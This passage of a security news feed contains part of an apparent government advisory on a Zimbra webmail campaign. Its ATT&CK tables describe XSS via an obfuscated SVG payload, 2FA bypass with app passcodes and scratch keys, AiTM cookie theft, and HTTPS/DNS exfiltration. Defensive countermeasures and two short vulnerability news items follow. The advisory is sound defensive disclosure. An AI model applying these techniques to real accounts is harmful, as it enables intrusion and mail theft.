<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[RefluXFS: Kernel-Bug verleiht auf Millionen von Linux-Systemen Root-Zugriff]]></title>
<description><![CDATA[Eine Sicherheitslücke im Linux-Kernel lässt Angreifer beliebige Dateien auf XFS-Volumes überschreiben. Root-Rechte sind damit leicht zu beschaffen. (Sicherheitslücke, Fedora)]]></description>
<link>https://tsecurity.de/de/3694198/it-security-nachrichten/refluxfs-kernel-bug-verleiht-auf-millionen-von-linux-systemen-root-zugriff/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694198/it-security-nachrichten/refluxfs-kernel-bug-verleiht-auf-millionen-von-linux-systemen-root-zugriff/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eine Sicherheitslücke im Linux-Kernel lässt Angreifer beliebige Dateien auf XFS-Volumes überschreiben. Root-Rechte sind damit leicht zu beschaffen. (<a href="https://www.golem.de/specials/sicherheitsluecke/">Sicherheitslücke</a>, <a href="https://www.golem.de/specials/fedora/">Fedora</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211245&amp;page=1&amp;ts=1784883902" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12617 | ISC BIND 9 up to 9.18.50/9.18.50-S1/9.20.24/9.20.24-S1 named input validation (Nessus ID 329500)]]></title>
<description><![CDATA[A vulnerability was found in ISC BIND 9 up to 9.18.50/9.18.50-S1/9.20.24/9.20.24-S1. It has been rated as critical. Affected by this issue is some unknown functionality of the component named. The manipulation leads to improper input validation.

